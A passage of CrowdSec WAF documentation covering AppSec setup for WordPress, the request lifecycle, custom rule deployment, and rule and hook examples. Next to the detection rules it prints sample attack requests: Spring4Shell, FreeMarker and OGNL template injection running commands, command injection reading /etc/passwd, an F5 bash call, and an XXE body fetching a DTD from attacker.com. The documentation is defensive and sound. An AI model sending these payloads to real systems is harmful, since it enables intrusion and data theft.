**CrowdSec** in your admin menu and go to the **Advanced** section. 3. In the **AppSec component** block: * **Enable AppSec**: check the box. * **URL**: `http://127.0.0.1:7422` (or your AppSec Component address if CrowdSec runs elsewhere). * **Request timeout**: `400` ms (default). * **Fallback to**: `captcha` (recommended). * **Maximum body size**: `1024` KB (default). * **Body size exceeded action**: `headers_only` (recommended). 4. Save the settings. ![appsec-config](/assets/images/config-appsec-e5bcdb9f593c156001d70891f95157e1.png) info AppSec requires the WordPress plugin to use API-key authentication (not TLS certificates). The AppSec Component is only consulted when LAPI returns a bypass decision. ## 4. Verify[โ€‹](#4-verify "Direct link to 4. Verify") From any machine, send a request with a malicious body through WordPress โ€” this example trips the [`vpatch-CVE-2022-22965`](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-CVE-2022-22965) rule (Spring4Shell): SHCOPY ``` curl -X POST https:/// \ -d "class.module.classLoader.resources." \ -o /dev/null -s -w "%{http_code}\n" ``` You should get `403` printed. Check that CrowdSec recorded the block: SHCOPY ``` sudo cscli metrics show appsec ``` Example metrics output sudo cscli metrics show appsec SHsudo cscli metrics show appsecCOPY ``` Appsec Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Appsec Engine โ”‚ Processed โ”‚ Blocked โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ 127.0.0.1:7422/ โ”‚ 2 โ”‚ 1 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ Appsec '127.0.0.1:7422/' Rules Metrics: โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ โ”‚ Rule ID โ”‚ Triggered โ”‚ โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค โ”‚ crowdsecurity/vpatch-CVE-2022-22965 โ”‚ 1 โ”‚ โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ ``` What just happened? 1. `curl` sent a request with a malicious payload to WordPress. 2. The CrowdSec plugin intercepted the request inside the WordPress loading process. 3. LAPI had no existing ban, so the plugin forwarded the request to the AppSec Component at `http://127.0.0.1:7422`. 4. The request matched the `vpatch-CVE-2022-22965` rule. 5. AppSec answered `403`; the plugin served the configured ban page. ## WordPress-specific limits[โ€‹](#wordpress-specific-limits "Direct link to WordPress-specific limits") * The plugin only protects requests that go through the WordPress core loading process. Direct hits to PHP files outside WordPress โ€” and any non-PHP file like `.env` or `.sql` โ€” bypass it. * For broader coverage, enable [auto prepend file mode](https://docs.crowdsec.net/u/bouncers/wordpress.md#auto-prepend-file-mode) in the plugin settings. ## Monitor in the Console[โ€‹](#monitor-in-the-console "Direct link to Monitor in the Console") If you haven't enrolled the Security Engine yet, follow [how to enroll in the Console](https://docs.crowdsec.net/u/getting_started/post_installation/console.md). Once enrolled, AppSec alerts appear alongside the rest of your alerts: ![appsec-console](/assets/images/appsec_console-59b5f39cf3f7fc002e61539c0e866f23.png) ## Next steps[โ€‹](#next-steps "Direct link to Next steps") * Monitor WAF alerts with `sudo cscli alerts list` or in the [CrowdSec Console](https://app.crowdsec.net). * Review the [AppSec troubleshooting guide](https://docs.crowdsec.net/docs/next/appsec/troubleshooting.md) and the [WordPress bouncer docs](https://docs.crowdsec.net/u/bouncers/wordpress.md) if you need to investigate or refine the deployment. * Explore [WAF deployment strategies](https://docs.crowdsec.net/docs/next/appsec/advanced_deployments.md), [rules syntax](https://docs.crowdsec.net/docs/next/appsec/rules_syntax.md), [rule creation](https://docs.crowdsec.net/docs/next/appsec/create_rules.md), and [benchmarks](https://docs.crowdsec.net/docs/next/appsec/benchmark.md) to go further. --- # **CrowdSec AppSec Request Lifecycle & Detection Pipeline** The CrowdSec AppSec architecture relies on several steps, involving **stateless inspection** (immediate pattern matching) and **stateful analysis** (long-term behavioral tracking). This document outlines the journey of an HTTP request through the engine's hooks, rulesets, and scenario-based alerting. ![waf-req-lifecycle](/assets/images/waf_request_lifecycle-c180a39b867cfca601466b3fcd66016d.png) ## **Phase I: In-Band Processing (Synchronous)**[โ€‹](#phase-i-in-band-processing-synchronous "Direct link to phase-i-in-band-processing-synchronous") The In-Band phase is synchronous. The Remediation Component (e.g., Nginx, Traefik, or Ingress) pauses the request to wait for a verdict from the AppSec engine. * **pre\_eval Hook:** The initial entry point. This hook executes logic before any rules are run. It is commonly used to whitelist trusted IPs or to disable specific rules for certain URIs to mitigate false positives. * **In-Band Rules:** The engine evaluates the request against rules defined in inband\_rules. These are typically high-confidence signatures used for "Virtual Patching" against known exploits (e.g., Log4Shell, SQL Injection). * **on\_match Hook:** Triggered only if a rule matches. It allows for logic overrides, such as logging the attempt without blocking, or setting specific remediation types. * **post\_eval Hook:** Executes regardless of the outcome. It is primarily used for technical logging or dumping request metadata for debugging via DumpRequest(). * **Immediate Remediation:** If a match is confirmed, the engine returns a blocking status (e.g., 403 Forbidden or Captcha) and an **Immediate Alert** is sent to the Local API (LAPI). ## **Phase II: Out-of-Band Processing (Asynchronous)**[โ€‹](#phase-ii-out-of-band-processing-asynchronous "Direct link to phase-ii-out-of-band-processing-asynchronous") Once the In-Band phase completes, the request is passed to the backend application. Simultaneously, a copy of the request context is processed asynchronously to avoid adding latency to the user experience. * **Out-of-Band (OOB) Rules:** These rulesets, such as the full **OWASP Core Rule Set (CRS)**, inspect the request for broader or lower-confidence indicators of malicious intent. * **Internal Event Generation:** Unlike the In-Band phase, an OOB match does not result in an immediate block. Instead, it generates an **Internal Event** (type appsec-info) containing enriched metadata about the suspicious activity. ## **Phase III: Scenario Evaluation (Behavioral Analysis)**[โ€‹](#phase-iii-scenario-evaluation-behavioral-analysis "Direct link to phase-iii-scenario-evaluation-behavioral-analysis") The internal events generated in Phase I and II flow into the standard CrowdSec Parser and Scenario pipeline. This stage transforms individual "signals" into actionable security "intelligence." * **The Leaky Bucket Logic:** Scenarios employ a "leaky bucket" algorithm to aggregate events. While a single OOB rule match might be a false positive, a Scenario can be configured to trigger only if an IP exceeds a specific threshold (e.g., **X matches within Y seconds**). * **Behavioral Detection:** Scenarios allow the system to identify complex threats that stateless rules cannot see in isolation, such as: * **Distributed Scans:** An IP probing multiple endpoints with varied payloads. * **Aggressive Crawling:** Automated bots triggering several low-severity WAF rules across a session. * **Final Alert & Decision:** When a Scenarioโ€™s threshold is met, it creates a **Final Alert** in the LAPI. This generates a **Decision** (e.g., a 4-hour IP ban) which is synchronized back to all Remediation Components, blocking the attacker at the network edge for all subsequent requests. **Summary of Component Roles** | Component | Nature | Goal | Execution | | --------------------- | --------- | ------------------------------------------- | --------------- | | **In-Band Rules** | Stateless | Immediate protection (Virtual Patching) | Blocking | | **Out-of-Band Rules** | Stateless | Deep inspection without user latency | Non-blocking | | **Scenarios** | Stateful | Identifies intent and patterns (Behavioral) | Post-processing | --- # WAF Rules Deployment This walkthrough assumes you already wrote and validated a custom AppSec (WAF) rule. We will deploy a concrete example so you can mirror the exact commands on your host. ## Example Rule We Will Deploy[โ€‹](#example-rule-we-will-deploy "Direct link to Example Rule We Will Deploy") The example blocks any `GET` request whose `user_id` query argument contains non-numeric characters. While you iterate locally, keep it in a working directory as `./block-nonnumeric-user-id.yaml`: ./block-nonnumeric-user-id.yaml YAML./block-nonnumeric-user-id.yamlCOPY ``` name: custom/block-nonnumeric-user-id description: Block GET requests with a non-numeric user_id parameter. rules: - and: - zones: - METHOD match: type: equals value: GET - zones: - ARGS variables: - user_id match: type: regex value: "[^0-9]" labels: type: exploit service: http confidence: 2 spoofable: 0 behavior: "http:exploit" label: "Non numeric user id" ``` Once the rule behaves as expected, the remaining steps package it for CrowdSec, wire it into the acquisition pipeline, and test it end to end. ## Step 1 - Stage the Rule File[โ€‹](#step-1---stage-the-rule-file "Direct link to Step 1 - Stage the Rule File") CrowdSec loads AppSec rules from `/etc/crowdsec/appsec-rules/`. Copy your YAML rule into that directory (create a `custom/` subfolder to keep things tidy if you manage several rules): SHCOPY ``` sudo install -d -m 750 /etc/crowdsec/appsec-rules/custom sudo install -m 640 ./block-nonnumeric-user-id.yaml \ /etc/crowdsec/appsec-rules/custom/block-nonnumeric-user-id.yaml ``` Make sure the `name` inside the rule file matches the file name convention you plan to reference (in our example `custom/block-nonnumeric-user-id`). tip If you run CrowdSec in a container, copy the file into the volume that is mounted at `/etc/crowdsec/appsec-rules/` inside the container. ## Step 2 - Create an AppSec Configuration[โ€‹](#step-2---create-an-appsec-configuration "Direct link to Step 2 - Create an AppSec Configuration") An AppSec configuration lists which rules to load and how to handle matches. Create a new file under `/etc/crowdsec/appsec-configs/` that targets your custom rule: /etc/crowdsec/appsec-configs/custom-block-nonnumeric-user-id.yaml YAML/etc/crowdsec/appsec-configs/custom-block-nonnumeric-user-id.yamlCOPY ``` name: custom/block-nonnumeric-user-id default_remediation: ban inband_rules: - custom/block-nonnumeric-user-id # Add outofband_rules or hooks here if needed ``` Key points: * `name` is how you will reference this configuration from the acquisition file and in logs. * `inband_rules` (and/or `outofband_rules`) accept glob patterns, so you can load multiple rules with a single entry such as `custom/block-*`. * During the reload step CrowdSec validates the syntax; if anything is off, the reload fails and the service logs the parsing error. ## Step 3 - Reference the Configuration in the Acquisition File[โ€‹](#step-3---reference-the-configuration-in-the-acquisition-file "Direct link to Step 3 - Reference the Configuration in the Acquisition File") The AppSec acquisition file (`/etc/crowdsec/acquis.d/appsec.yaml`) controls which configurations are active for the WAF component. Add your configuration to the `appsec_configs` list. Order matters: later entries override conflicting defaults such as `default_remediation`. /etc/crowdsec/acquis.d/appsec.yaml YAML/etc/crowdsec/acquis.d/appsec.yamlCOPY ``` appsec_configs: - crowdsecurity/appsec-default - custom/block-nonnumeric-user-id labels: type: appsec listen_addr: 127.0.0.1:7422 source: appsec ``` If you only want to run your custom configuration, remove other entries and keep the list with a single item. ## Step 4 - Reload CrowdSec and Validate the Load[โ€‹](#step-4---reload-crowdsec-and-validate-the-load "Direct link to Step 4 - Reload CrowdSec and Validate the Load") Apply the changes by reloading the CrowdSec service: SHCOPY ``` sudo systemctl reload crowdsec ``` If your init system does not support reload, perform a restart instead. Then verify the rule and configuration are active: SHCOPY ``` sudo cscli appsec-rules list | grep block-nonnumeric-user-id sudo cscli appsec-configs list | grep block-nonnumeric-user-id ``` The rule should appear as `enabled`, and the configuration should show up in the list. CrowdSec logs confirm the configuration was loaded without errors. ## Step 5 - Functional Test with `curl`[โ€‹](#step-5---functional-test-with-curl "Direct link to step-5---functional-test-with-curl") Trigger the behaviour your rule is meant to catch to ensure it blocks as expected. For the example rule, send a request with a non-numeric `user_id` value: SHCOPY ``` curl -i 'http://127.0.0.1/profile?user_id=abc123' ``` A successful block returns an HTTP status such as `403 Forbidden`, and CrowdSec logs a matching alert: SHCOPY ``` sudo cscli alerts list -s custom/block-nonnumeric-user-id ``` If the request is not blocked, double-check that the rule `name` matches the pattern in your AppSec configuration, that the acquisition file lists your configuration, and that the CrowdSec service picked up the changes. ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") * Add automated regression tests with `cscli hubtest` so future updates do not break the rule. * Version-control your custom rule and configuration files to keep track of changes. --- # WAF Rules Examples This page showcases various WAF rule capabilities with real-world examples from the CrowdSec Hub. Each example includes the rule definition, a matching HTTP request from the test suite, and explanations of the key features demonstrated. ## 1. Header Analysis - Missing User Agent Detection[โ€‹](#1-header-analysis---missing-user-agent-detection "Direct link to 1. Header Analysis - Missing User Agent Detection") ### Description[โ€‹](#description "Direct link to Description") Header inspection with count transform. Note that empty user agent-agent field or absent user-agent field is equivalent. ### Rule Example[โ€‹](#rule-example "Direct link to Rule Example") YAMLCOPY ``` rules: - and: - zones: - METHOD match: type: regex value: "^GET|POST|PUT|DELETE|PATCH$" - zones: - HEADERS variables: - "User-Agent" transform: - count match: type: equals value: "0" ``` ### HTTP Request Example[โ€‹](#http-request-example "Direct link to HTTP Request Example") HTTPCOPY ``` GET / HTTP/1.1 Host: example.com User-Agent: ``` ### Key Features Demonstrated[โ€‹](#key-features-demonstrated "Direct link to Key Features Demonstrated") * **Header inspection** using HEADERS zone * **Transform operations** with count() to check header existence * **HTTP method filtering** with regex patterns * **AND logic** combining multiple conditions ## 2. Request Body Analysis - JSON Path Extraction[โ€‹](#2-request-body-analysis---json-path-extraction "Direct link to 2. Request Body Analysis - JSON Path Extraction") ### Description[โ€‹](#description-1 "Direct link to Description") JSON path extraction with dot notation. ### Rule Example[โ€‹](#rule-example-1 "Direct link to Rule Example") YAMLCOPY ``` rules: - and: - zones: - METHOD transform: - uppercase match: type: equals value: POST - zones: - URI transform: - lowercase match: type: contains value: /rest/v1/guest-carts/1/estimate-shipping-methods - zones: - BODY_ARGS variables: - json.address.totalsCollector.collectorList.totalCollector.sourceData.data transform: - lowercase match: type: contains value: "", "dataIsURL": "true" } } } } } } ``` ### Key Features Demonstrated[โ€‹](#key-features-demonstrated-1 "Direct link to Key Features Demonstrated") * **Deep JSON path navigation** using dot notation * **Request body parsing** with BODY\_ARGS zone * **Multiple transform operations** (uppercase, lowercase) * **Complex AND conditions** across different zones ## 3. Query Parameter Inspection - SSTI Detection[โ€‹](#3-query-parameter-inspection---ssti-detection "Direct link to 3. Query Parameter Inspection - SSTI Detection") ### Description[โ€‹](#description-2 "Direct link to Description") Multi-zone pattern matching (ARGS and RAW\_BODY). ### Rule Example[โ€‹](#rule-example-2 "Direct link to Rule Example") YAMLCOPY ``` rules: - and: - zones: - RAW_BODY - ARGS transform: - lowercase match: type: contains value: "freemarker.template.utility.execute" ``` ### HTTP Request Example[โ€‹](#http-request-example-2 "Direct link to HTTP Request Example") HTTPCOPY ``` GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d HTTP/1.1 Host: example.com ``` ### Key Features Demonstrated[โ€‹](#key-features-demonstrated-2 "Direct link to Key Features Demonstrated") * **URL parameter parsing** with ARGS zone * **Multiple zone matching** (RAW\_BODY and ARGS) * **String transformation** with lowercase normalization * **Pattern-based detection** using contains match ## 4. File Upload Detection - WordPress PHP Execution[โ€‹](#4-file-upload-detection---wordpress-php-execution "Direct link to 4. File Upload Detection - WordPress PHP Execution") ### Description[โ€‹](#description-3 "Direct link to Description") URI regex matching with multiple transforms. ### Rule Example[โ€‹](#rule-example-3 "Direct link to Rule Example") YAMLCOPY ``` rules: - and: - zones: - URI transform: - lowercase - urldecode match: type: regex value: '/wp-content/uploads/.*\.(h?ph(p|tm?l?|ar)|module|shtml)' ``` ### HTTP Request Example[โ€‹](#http-request-example-3 "Direct link to HTTP Request Example") HTTPCOPY ``` GET /wp-content/uploads/2024/10/test.php?exec=id HTTP/1.1 Host: example.com ``` ### Key Features Demonstrated[โ€‹](#key-features-demonstrated-3 "Direct link to Key Features Demonstrated") * **URI path analysis** with regex pattern matching * **Multiple transforms** (lowercase and URL decoding) * **Complex regex patterns** for file extension detection * **WordPress-specific protection** against upload directory exploitation ## 5. HTTP Protocol Analysis - Form Data Validation[โ€‹](#5-http-protocol-analysis---form-data-validation "Direct link to 5. HTTP Protocol Analysis - Form Data Validation") ### Description[โ€‹](#description-4 "Direct link to Description") Form data analysis with variable targeting. ### Rule Example[โ€‹](#rule-example-4 "Direct link to Rule Example") YAMLCOPY ``` rules: - and: - zones: - METHOD transform: - lowercase match: type: equals value: post - zones: - URI transform: - lowercase match: type: endsWith value: /boaform/admin/formlogin - zones: - BODY_ARGS variables: - username transform: - lowercase match: type: equals value: "admin" - zones: - BODY_ARGS variables: - psd transform: - lowercase match: type: equals value: "parks" ``` ### HTTP Request Example[โ€‹](#http-request-example-4 "Direct link to HTTP Request Example") HTTPCOPY ``` POST /boaform/admin/formLogin HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded username=admin&psd=parks ``` ### Key Features Demonstrated[โ€‹](#key-features-demonstrated-4 "Direct link to Key Features Demonstrated") * **Form data analysis** with BODY\_ARGS and specific variable targeting * **HTTP method validation** with case-insensitive matching * **URI endpoint matching** using endsWith comparison * **Credential pattern detection** for default login attempts ## 6. Header Names Analysis[โ€‹](#6-header-names-analysis "Direct link to 6. Header Names Analysis") ### Description[โ€‹](#description-5 "Direct link to Description") Header name inspection (HEADERS\_NAMES zone). ### Rule Example[โ€‹](#rule-example-5 "Direct link to Rule Example") YAMLCOPY ``` rules: - and: - zones: - URI transform: - lowercase match: type: contains value: /mgmt/tm/util/bash - zones: - HEADERS_NAMES transform: - lowercase match: type: contains value: x-f5-auth-token - zones: - HEADERS_NAMES transform: - lowercase match: type: contains value: authorization ``` ### HTTP Request Example[โ€‹](#http-request-example-5 "Direct link to HTTP Request Example") HTTPCOPY ``` POST /mgmt/tm/util/bash HTTP/1.1 Host: example.com Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: a Authorization: Basic YWRtaW46 Content-Type: application/json { "command": "run", "utilCmdArgs": "-c 'id'" } ``` ### Key Features Demonstrated[โ€‹](#key-features-demonstrated-5 "Direct link to Key Features Demonstrated") * **Header name inspection** using HEADERS\_NAMES zone * **Multiple header validation** combining different authentication headers * **Case-insensitive header matching** with lowercase transform * **API endpoint protection** for management interfaces ## 7. Simple URI Pattern Matching - Environment File Access[โ€‹](#7-simple-uri-pattern-matching---environment-file-access "Direct link to 7. Simple URI Pattern Matching - Environment File Access") ### Description[โ€‹](#description-6 "Direct link to Description") Simple URI pattern matching with endsWith. ### Rule Example[โ€‹](#rule-example-6 "Direct link to Rule Example") YAMLCOPY ``` rules: - zones: - URI transform: - lowercase match: type: endsWith value: .env ``` ### HTTP Request Example[โ€‹](#http-request-example-6 "Direct link to HTTP Request Example") HTTPCOPY ``` GET /foo/bar/.env HTTP/1.1 Host: example.com ``` ### Key Features Demonstrated[โ€‹](#key-features-demonstrated-6 "Direct link to Key Features Demonstrated") * **Simple URI matching** without complex AND conditions * **File extension detection** using endsWith matcher * **Case normalization** with lowercase transform * **Environment file protection** for configuration security ## 8. Regular Expression Validation - Command Injection Detection[โ€‹](#8-regular-expression-validation---command-injection-detection "Direct link to 8. Regular Expression Validation - Command Injection Detection") ### Description[โ€‹](#description-7 "Direct link to Description") Regex pattern matching for input validation. ### Rule Example[โ€‹](#rule-example-7 "Direct link to Rule Example") YAMLCOPY ``` rules: - and: - zones: - METHOD match: type: equals value: POST - zones: - URI transform: - lowercase match: type: endsWith value: /boaform/admin/formping - zones: - BODY_ARGS variables: - target_addr transform: - lowercase match: type: regex value: "[^a-f0-9:.]+" ``` ### HTTP Request Example[โ€‹](#http-request-example-7 "Direct link to HTTP Request Example") HTTPCOPY ``` POST /boaform/admin/formPing HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded target_addr=1.2.3.4;cat /etc/passwd ``` ### Key Features Demonstrated[โ€‹](#key-features-demonstrated-7 "Direct link to Key Features Demonstrated") * **Regex pattern matching** for command injection detection * **Character class validation** to identify suspicious input * **Form parameter filtering** on specific variables * **Command injection prevention** through pattern recognition ## 9. Complex JSON Processing - Multi-condition XXE[โ€‹](#9-complex-json-processing---multi-condition-xxe "Direct link to 9. Complex JSON Processing - Multi-condition XXE") ### Description[โ€‹](#description-8 "Direct link to Description") Multi-property JSON validation. ### Rule Example[โ€‹](#rule-example-8 "Direct link to Rule Example") YAMLCOPY ``` rules: - and: - zones: - METHOD transform: - lowercase match: type: equals value: post - zones: - URI transform: - lowercase match: type: contains value: /rest/v1/guest-carts/1/estimate-shipping-methods - zones: - BODY_ARGS variables: - json.address.totalsCollector.collectorList.totalCollector.sourceData.data transform: - lowercase match: type: contains value: "://" - zones: - BODY_ARGS variables: - json.address.totalsCollector.collectorList.totalCollector.sourceData.dataIsURL transform: - lowercase match: type: equals value: "true" ``` ### HTTP Request Example[โ€‹](#http-request-example-8 "Direct link to HTTP Request Example") HTTPCOPY ``` POST /rest/v1/guest-carts/1/estimate-shipping-methods HTTP/1.1 Host: example.com Content-Type: application/json { "address": { "totalsCollector": { "collectorList": { "totalCollector": { "sourceData": { "data": "http://attacker.com/malicious.dtd", "dataIsURL": "true" } } } } } } ``` ### Key Features Demonstrated[โ€‹](#key-features-demonstrated-8 "Direct link to Key Features Demonstrated") * **Multi-property JSON validation** checking both data content and flags * **URL scheme detection** using contains match for "://" * **Boolean flag inspection** in JSON structures * **Complex attack vector prevention** through comprehensive validation ## 10. Template Injection in Request Body - POST Data Analysis[โ€‹](#10-template-injection-in-request-body---post-data-analysis "Direct link to 10. Template Injection in Request Body - POST Data Analysis") ### Description[โ€‹](#description-9 "Direct link to Description") Raw body content analysis with multi-zone matching. ### Rule Example[โ€‹](#rule-example-9 "Direct link to Rule Example") YAMLCOPY ``` rules: - and: - zones: - RAW_BODY - ARGS transform: - lowercase match: type: contains value: "freemarker.template.utility.execute" ``` ### HTTP Request Example[โ€‹](#http-request-example-9 "Direct link to HTTP Request Example") HTTPCOPY ``` POST /template/aui/text-inline.vm HTTP/1.1 Host: example.com Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader(\u0027x_vuln_check\u0027,(new+freemarker.template.utility.Execute()).exec({"whoami"})) ``` ### Key Features Demonstrated[โ€‹](#key-features-demonstrated-9 "Direct link to Key Features Demonstrated") * **POST body content analysis** using RAW\_BODY zone * **Template injection detection** through signature-based matching * **URL-encoded payload handling** in form submissions * **Multi-zone coverage** examining both args and raw body content # Hooks Examples Hooks allow you to customize WAF behavior at different execution phases. This section demonstrates key hook capabilities organized by execution phase. ## Load Phase (on\_load)[โ€‹](#load-phase-on_load "Direct link to Load Phase (on_load)") Load hooks run once when the configuration is loaded, and are typically used to apply global settings. ### 1. Tune Request Body Size Handling[โ€‹](#1-tune-request-body-size-handling "Direct link to 1. Tune Request Body Size Handling") #### Description[โ€‹](#description-10 "Direct link to Description") Change the maximum request body size buffered and inspected by the engine, and what happens when a request exceeds it. #### Hook Example[โ€‹](#hook-example "Direct link to Hook Example") YAMLCOPY ``` on_load: - apply: - SetMaxBodySize(20971520) # 20MB - SetBodySizeExceededAction("partial") ``` #### Use Case[โ€‹](#use-case "Direct link to Use Case") Allow larger uploads on this configuration while still bounding memory usage, and inspect the first 20MB of oversized bodies instead of dropping the request outright. See [Request body size handling](https://docs.crowdsec.net/docs/next/appsec/hooks.md#request-body-size-handling) for the available actions (`drop`, `partial`, `allow`). ## Pre-Evaluation Phase (pre\_eval)[โ€‹](#pre-evaluation-phase-pre_eval "Direct link to Pre-Evaluation Phase (pre_eval)") Pre-evaluation hooks run before rules are evaluated, allowing you to modify rule behavior dynamically per request. ### 1. Disable Rules by Name[โ€‹](#1-disable-rules-by-name "Direct link to 1. Disable Rules by Name") #### Description[โ€‹](#description-11 "Direct link to Description") Dynamically disable specific rules before evaluation. #### Hook Example[โ€‹](#hook-example-1 "Direct link to Hook Example") YAMLCOPY ``` pre_eval: - filter: req.URL.Path == "/admin/upload" apply: - RemoveInBandRuleByName('some-specific-rule') ``` #### Use Case[โ€‹](#use-case-1 "Direct link to Use Case") Disable existing rules on specific endpoints. ### 2. Disable Rules by Tag[โ€‹](#2-disable-rules-by-tag "Direct link to 2. Disable Rules by Tag") #### Description[โ€‹](#description-12 "Direct link to Description") Disable multiple rules sharing the same tag. #### Hook Example[โ€‹](#hook-example-2 "Direct link to Hook Example") YAMLCOPY ``` pre_eval: - apply: - RemoveInBandRuleByTag('some-specific-tag') ``` #### Use Case[โ€‹](#use-case-2 "Direct link to Use Case") Disable all rules with a specific tag. ### 3. Change Rule Remediation by Name[โ€‹](#3-change-rule-remediation-by-name "Direct link to 3. Change Rule Remediation by Name") #### Description[โ€‹](#description-13 "Direct link to Description") Modify the default remediation for specific rules. #### Hook Example[โ€‹](#hook-example-3 "Direct link to Hook Example") YAMLCOPY ``` pre_eval: - apply: - SetRemediationByName('some-rule', 'log') ``` #### Use Case[โ€‹](#use-case-3 "Direct link to Use Case") Change a blocking rule to log-only mode for testing. ### 4. Disable Rules by ID[โ€‹](#4-disable-rules-by-id "Direct link to 4. Disable Rules by ID") #### Description[โ€‹](#description-14 "Direct link to Description") Disable specific rules using their unique ID during request processing. #### Hook Example[โ€‹](#hook-example-4 "Direct link to Hook Example") YAMLCOPY ``` pre_eval: - filter: req.Method == "DELETE" apply: - RemoveInBandRuleByID(123) ``` #### Use Case[โ€‹](#use-case-4 "Direct link to Use Case") Disable a specific rule by its ID for certain endpoints or conditions where the rule may cause false positives. ### 5. GeoBlocking[โ€‹](#5-geoblocking "Direct link to 5. GeoBlocking") #### Description[โ€‹](#description-15 "Direct link to Description") Block requests originating (or not) from specific countries. #### Hook Example[โ€‹](#hook-example-5 "Direct link to Hook Example") This will block any requests not coming from the US or France. Note the empty value (`""`) in the list and the `?` after the call to `GeoIPEnrich`: this will allow IPs for which crowdsec was not able to get the country (eg, private IPs) and prevent the helper from returning `nil` which would break the evaluation. YAMLCOPY ``` pre_eval: - filter: IsInBand == true && GeoIPEnrich(req.RemoteAddr)?.Country.IsoCode not in ["FR", "US", ""] apply: - DropRequest("Forbidden Country") ``` If you want to disallow traffic from a specific country: YAMLCOPY ``` pre_eval: - filter: IsInBand == true && GeoIPEnrich(req.RemoteAddr)?.Country.IsoCode == "FR" apply: - DropRequest("Forbidden Country") ``` #### Use Case[โ€‹](#use-case-5 "Direct link to Use Case") Automatically block traffic from unwanted countries. ### 6. Disable Body Inspection for Specific Requests[โ€‹](#6-disable-body-inspection-for-specific-requests "Direct link to 6. Disable Body Inspection for Specific Requests") #### Description[โ€‹](#description-16 "Direct link to Description") Skip request body inspection for the current request, for example on endpoints that legitimately receive large uploads. #### Hook Example[โ€‹](#hook-example-6 "Direct link to Hook Example") YAMLCOPY ``` pre_eval: - filter: req.URL.Path startsWith "/upload" apply: - DisableBodyInspection() ``` #### Use Case[โ€‹](#use-case-6 "Direct link to Use Case") Avoid buffering and inspecting large file uploads on trusted endpoints. This also bypasses the [maximum body size check](https://docs.crowdsec.net/docs/next/appsec/hooks.md#request-body-size-handling), so requests exceeding the limit are allowed through instead of being dropped. ## Post-Evaluation Phase (post\_eval)[โ€‹](#post-evaluation-phase-post_eval "Direct link to Post-Evaluation Phase (post_eval)") Post-evaluation hooks run after rule evaluation is complete, primarily used for debugging and logging. ### 5. Debug Request Dumping[โ€‹](#5-debug-request-dumping "Direct link to 5. Debug Request Dumping") #### Description[โ€‹](#description-17 "Direct link to Description") Dump request details to file for debugging. #### Hook Example[โ€‹](#hook-example-7 "Direct link to Hook Example") YAMLCOPY ``` post_eval: - filter: IsInBand == true apply: - DumpRequest().WithBody().ToJSON() ``` #### Use Case[โ€‹](#use-case-7 "Direct link to Use Case") Capture full request details for forensic analysis or debugging rule behavior. ## On-Match Phase (on\_match)[โ€‹](#on-match-phase-on_match "Direct link to On-Match Phase (on_match)") On-match hooks run when a rule matches, allowing you to modify the response behavior. ### 6. Change HTTP Response Code[โ€‹](#6-change-http-response-code "Direct link to 6. Change HTTP Response Code") #### Description[โ€‹](#description-18 "Direct link to Description") Modify the HTTP status code returned to users when a rule matches. #### Hook Example[โ€‹](#hook-example-8 "Direct link to Hook Example") YAMLCOPY ``` on_match: - filter: IsInBand == true apply: - SetReturnCode(413) ``` #### Use Case[โ€‹](#use-case-8 "Direct link to Use Case") Return a 413 "Payload Too Large" instead of the default 403 when a rule triggers. ### 7. Change Remediation Action[โ€‹](#7-change-remediation-action "Direct link to 7. Change Remediation Action") #### Description[โ€‹](#description-19 "Direct link to Description") Dynamically change the remediation action from the default. #### Hook Example[โ€‹](#hook-example-9 "Direct link to Hook Example") YAMLCOPY ``` 